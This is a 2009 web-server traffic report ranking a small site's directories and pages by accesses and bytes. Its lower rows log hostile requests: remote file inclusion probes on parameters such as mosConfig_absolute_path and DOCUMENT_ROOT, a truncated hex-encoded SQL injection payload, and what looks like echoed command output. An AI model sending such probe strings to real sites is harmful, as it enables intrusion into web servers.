Directories Report

Week of 7/26/2009 to 8/1/2009

/ : All Items

Rank Item Accesses % Bytes % Visits %
1 [ /graphics] 31,349 62.11 387,648,593 68.43 1,211 20.62
2 [ /season] 12,570 24.91 73,470,434 12.97 1,419 24.17
3 [ /Templates] 2,547 5.05 1,901,484 0.34 820 13.96
4 / 1,018 2.02 19,399,862 3.42 855 14.56
5 [ /stats] 1,011 2.00 2,710,189 0.48 296 5.04
6 [ /webstats] 904 1.79 2,517,351 0.44 469 7.99
7 [ /pdfs] 336 0.67 63,020,092 11.12 235 4.00
8 /index.htm 131 0.26 2,883,058 0.51 124 2.11
9 /SASregistration.htm 101 0.20 3,862,429 0.68 94 1.60
10 /SAScontact.htm 88 0.17 1,653,779 0.29 84 1.43
11 [ /galleries] 81 0.16 67,744 0.01 26 0.44
12 /SASabout.htm 53 0.11 1,202,094 0.21 52 0.89
13 /SASfosas.htm 50 0.10 1,254,192 0.22 39 0.66
14 /SASgallery.htm 47 0.09 1,095,786 0.19 47 0.80
15 /SASnewsletter.htm 39 0.08 843,574 0.15 37 0.63
16 /SASlinks.htm 36 0.07 619,921 0.11 33 0.56
17 /SASscholarship.htm 31 0.06 648,494 0.11 31 0.53
18 [ /?_SERVER[DOCUMENT_ROOT]=http:] 15 0.03 361,425 0.06 0 0.00
19 [ /?_zb_path=http:] 14 0.03 337,330 0.06 0 0.00
20 [ /?view=page&pagename=http:] 7 0.01 168,879 0.03 0 0.00
21 [ ////////?mosConfig_absolute_path=http:] 5 0.01 120,582 0.02 0 0.00
22 [ /?sIncPath=http:] 5 0.01 120,475 0.02 0 0.00
23 [ //?DOCUMENT_ROOT=http:] 3 0.01 72,606 0.01 0 0.00
24 [ ////?_SERVER[DOCUMENT_ROOT]=http:] 2 0.00 48,190 0.01 0 0.00
25 [ ///?_SERVER[DOCUMENT_ROOT]=http:] 2 0.00 48,404 0.01 0 0.00
26 [ //?_zb_path=http:] 2 0.00 48,404 0.01 0 0.00
27 /?';DECLARE 2 0.00 24,095 0.00 0 0.00
28 [ /?ABSOLUTE_PATH_STUDIP=http:] 2 0.00 24,095 0.00 0 0.00
29 [ //////?mosConfig_absolute_path=http:] 1 0.00 24,095 0.00 0 0.00
30 [ /////?_SERVER[DOCUMENT_ROOT]=http:] 1 0.00 24,202 0.00 0 0.00
31 [ /////?mosConfig_absolute_path=http:] 1 0.00 24,095 0.00 0 0.00
32 /?;DECLARE @S CHAR(4000);SET @S=CAST(0x4445434C4152452040542
07661726368617228323535292C404320766172636861722834303030292
04445434C415245205461626C655F437572736F7220435552534F5220464
F522073656C65637420612E6E616D652C622E6E616D652066726F6D20737
9736F626A6563747320612C737973636F6C756D6E732@S);
1 0.00 24,202 0.00 0 0.00
33 /?> 1 0.00 0 0.00 0 0.00
34 [ /?_zb_path=..] 1 0.00 24,095 0.00 0 0.00
35 /?cfAC12041D=575E17F!bWVzYWM6emlvbnM6i7ZcyNvEXMSMCWBziJ1NnQ=
=
1 0.00 24,202 0.00 0 0.00
36 /?citysearch_profile_view=1&profile_id=41271045 1 0.00 0 0.00 0 0.00
37 [ /?custompluginfile=http:] 1 0.00 24,095 0.00 0 0.00
38 [ /?custompluginfile[]=http:] 1 0.00 24,095 0.00 0 0.00
39 /?feed=rss2 1 0.00 0 0.00 0 0.00
40 /?foiffs=in100fweg 1 0.00 0 0.00 0 0.00
41 [ /?language_id=http:] 1 0.00 24,202 0.00 0 0.00
42 /?leisurelog.com 1 0.00 0 0.00 0 0.00
43 /?menu_frame.html 1 0.00 0 0.00 0 0.00
44 [ /?mosConfig_absolute_path=http:] 1 0.00 24,202 0.00 0 0.00
45 [ /?option=com_joomlalib&task=&mosConfig_absolute_path=http:] 1 0.00 24,095 0.00 0 0.00
46 /?p=40148 1 0.00 24,202 0.00 0 0.00
47 /?sIncPath=uid=1512(z71584) gid=106(hosting) groups=106(host
ing)
1 0.00 24,095 0.00 0 0.00